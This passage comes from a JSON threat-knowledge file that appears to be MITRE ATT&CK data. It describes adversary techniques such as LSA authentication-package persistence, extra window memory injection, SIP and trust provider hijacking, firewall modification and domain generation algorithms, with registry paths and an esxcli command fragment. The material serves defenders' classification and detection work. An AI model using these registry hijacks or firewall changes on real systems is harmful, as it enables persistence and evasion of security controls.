Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)",
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            "created": "2020-10-02T17:03:45.918Z",
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                    "url": "https://attack.mitre.org/techniques/T1597/001",
                    "external_id": "T1597.001"
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                {
                    "source_name": "D3Secutrity CTI Feeds",
                    "description": "Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.",
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            "modified": "2025-10-24T17:48:46.954Z",
            "name": "Threat Intel Vendors",
            "description": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under [Search Threat Vendor Data](https://attack.mitre.org/techniques/T1681). Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
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            "created": "2020-10-20T00:08:21.745Z",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1602/002",
                    "external_id": "T1602.002"
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                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
                    "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
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            "name": "Network Device Configuration Dump",
            "description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ",
            "kill_chain_phases": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4",
            "created": "2020-10-02T14:54:59.263Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1589",
                    "external_id": "T1589"
                },
                {
                    "source_name": "OPM Leak",
                    "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.",
                    "url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/"
                },
                {
                    "source_name": "Detectify Slack Tokens",
                    "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved November 17, 2024.",
                    "url": "https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/"
                },
                {
                    "source_name": "GitHub truffleHog",
                    "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.",
                    "url": "https://github.com/dxa4481/truffleHog"
                },
                {
                    "source_name": "GrimBlog UsernameEnum",
                    "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.",
                    "url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/"
                },
                {
                    "source_name": "Register Uber",
                    "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.",
                    "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/"
                },
                {
                    "source_name": "GitHub Gitrob",
                    "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.",
                    "url": "https://github.com/michenriksen/gitrob"
                },
                {
                    "source_name": "CNET Leaks",
                    "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.",
                    "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"
                },
                {
                    "source_name": "Obsidian SSPR Abuse 2023",
                    "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.",
                    "url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"
                },
                {
                    "source_name": "Forbes GitHub Creds",
                    "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.",
                    "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"
                },
                {
                    "source_name": "Register Deloitte",
                    "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.",
                    "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"
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            "name": "Gather Victim Identity Information",
            "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse 2023) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
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                    "external_id": "T1131"
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                    "source_name": "MSDN Authentication Packages",
                    "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx"
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                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
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                    "source_name": "Microsoft Configure LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
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            "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.",
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            "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1181",
                    "external_id": "T1181"
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                    "source_name": "Microsoft Window Classes",
                    "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
                },
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                    "source_name": "Microsoft GetWindowLong function",
                    "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx"
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                    "source_name": "Microsoft SetWindowLong function",
                    "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
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                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "MalwareTech Power Loader Aug 2013",
                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
                },
                {
                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
                },
                {
                    "source_name": "Microsoft SendNotifyMessage function",
                    "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"
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            "name": "Extra Window Memory Injection",
            "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)",
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "created": "2020-02-21T21:00:48.814Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1562/004",
                    "external_id": "T1562.004"
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                {
                    "source_name": "Broadcom ESXi Firewall",
                    "description": "Broadcom. (2025, March 24). Add Allowed IP Addresses for an ESXi Host by Using the VMware Host Client. Retrieved March 26, 2025.",
                    "url": "https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/7-0/add-allowed-ip-addresses-for-an-esxi-host-by-using-the-vmware-host-client.html"
                },
                {
                    "source_name": "Huntress BlackCat",
                    "description": "Carvey, H. (2024, February 28). BlackCat Ransomware Affiliate TTPs. Retrieved March 27, 2024.",
                    "url": "https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps"
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                    "source_name": "Trellix Rnasomhouse 2024",
                    "description": "Pham Duy Phuc, Max Kersten, No\u00ebl Keijzer, and Micha\u00ebl Schrijver. (2024, February 14). RansomHouse am See. Retrieved March 26, 2025.",
                    "url": "https://www.trellix.com/en-au/blogs/research/ransomhouse-am-see/"
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                {
                    "source_name": "change_rdp_port_conti",
                    "description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.",
                    "url": "https://x.com/TheDFIRReport/status/1498657772254240768"
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            "name": "Disable or Modify System Firewall",
            "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)\n\nAdversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse of various [Remote Services](https://attack.mitre.org/techniques/T1021) may also indirectly modify firewall rules.\n\nIn ESXi, firewall rules may be modified directly via the esxcli command line interface (e.g., via `esxcli network firewall set`) or via the vCenter user interface.(Citation: Trellix Rnasomhouse 2024)(Citation: Broadcom ESXi Firewall)",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "created": "2020-02-20T20:53:45.725Z",
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                    "external_id": "T1560"
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                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved November 17, 2024.",
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                    "source_name": "Wikipedia File Header Signatures",
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            "name": "Archive Collected Data",
            "description": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.",
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            "created": "2017-12-14T16:46:06.044Z",
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                    "external_id": "T1152"
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                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
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                    "url": "https://attack.mitre.org/techniques/T1553/003",
                    "external_id": "T1553.003"
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                {
                    "source_name": "GitHub SIP POC Sept 2017",
                    "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
                    "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage"
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                {
                    "source_name": "SpectorOps Subverting Trust Sept 2017",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
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                    "source_name": "Microsoft Catalog Files and Signatures April 2017",
                    "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files"
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                    "source_name": "Microsoft Authenticode",
                    "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
                    "url": "https://msdn.microsoft.com/library/ms537359.aspx"
                },
                {
                    "source_name": "Microsoft WinVerifyTrust",
                    "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
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                {
                    "source_name": "EduardosBlog SIPs July 2008",
                    "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
                    "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/"
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            "name": "SIP and Trust Provider Hijacking",
            "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
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            "id": "attack-pattern--54456690-84de-4538-9101-643e26437e09",
            "created": "2019-02-18T17:22:57.831Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1483",
                    "external_id": "T1483"
                },
                {
                    "source_name": "Cybereason Dissecting DGAs",
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.",
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf"
                },
                {
                    "source_name": "Cisco Umbrella DGA",
                    "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019.",
                    "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/"
                },
                {
                    "source_name": "Unit 42 DGA Feb 2019",
                    "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/"
                },
                {
                    "source_name": "Talos CCleanup 2017",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
                },
                {
                    "source_name": "Akamai DGA Mitigation",
                    "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.",
                    "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html"
                },
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                },
                {
                    "source_name": "ESET Sednit 2017 Activity",
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
                },
                {
                    "source_name": "Data Driven Security DGA",
                    "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
                    "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
                },
                {
                    "source_name": "Pace University Detecting DGA May 2017",
                    "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.",
                    "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf"
                },
                {
                    "source_name": "Elastic Predicting DGA",
                    "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.",
                    "url": "https://arxiv.org/pdf/1611.00791.pdf"
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            "modified": "2025-10-24T17:48:48.299Z",
            "name": "Domain Generation Algorithms",
            "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
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                {
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                    "phase_name": "command-and-control"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Sylvain Gil, Exabeam",
                "Barry Shteiman, Exabeam",
                "Ryan Benson, Exabeam"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1185",
                    "external_id": "T1185"
                },
                {
                    "source_name": "ICEBRG Chrome Extensions",
                    "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
                    "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
                },
                {
                    "source_name": "Cobalt Strike Browser Pivot",
                    "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.",
                    "url": "https://www.cobaltstrike.com/help-browser-pivoting"
                },
                {
                    "source_name": "cobaltstrike manual",
                    "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
                    "url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"
                },
                {
                    "source_name": "Wikipedia Man in the Browser",
                    "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Man-in-the-browser"
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            "name": "Browser Session Hijacking",
            "description": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)",
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            "created": "2017-05-31T21:30:29.858Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1021",
                    "external_id": "T1021"
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                {
                    "source_name": "Apple Remote Desktop Admin Guide 3.3",
                    "description": "Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.",
                    "url": "https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf"
                },
                {
                    "source_name": "Remote Management MDM macOS",
                    "description": "Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.",
                    "url": "https://support.apple.com/en-us/HT209161"
                },
                {
                    "source_name": "Kickstart Apple Remote Desktop commands",
                    "description": "Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.",
                    "url": "https://support.apple.com/en-us/HT201710"
                },
                {
                    "source_name": "Lockboxx ARD 2019",
                    "description": "Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.",
                    "url": "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html"
                },
                {
                    "source_name": "FireEye 2019 Apple Remote Desktop",
                    "description": "Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html"
                },
                {
                    "source_name": "TechNet Remote Desktop Services",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
                },
                {
                    "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
                    "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
                    "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
                },
                {
                    "source_name": "SSH Secure Shell",
                    "description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020.",
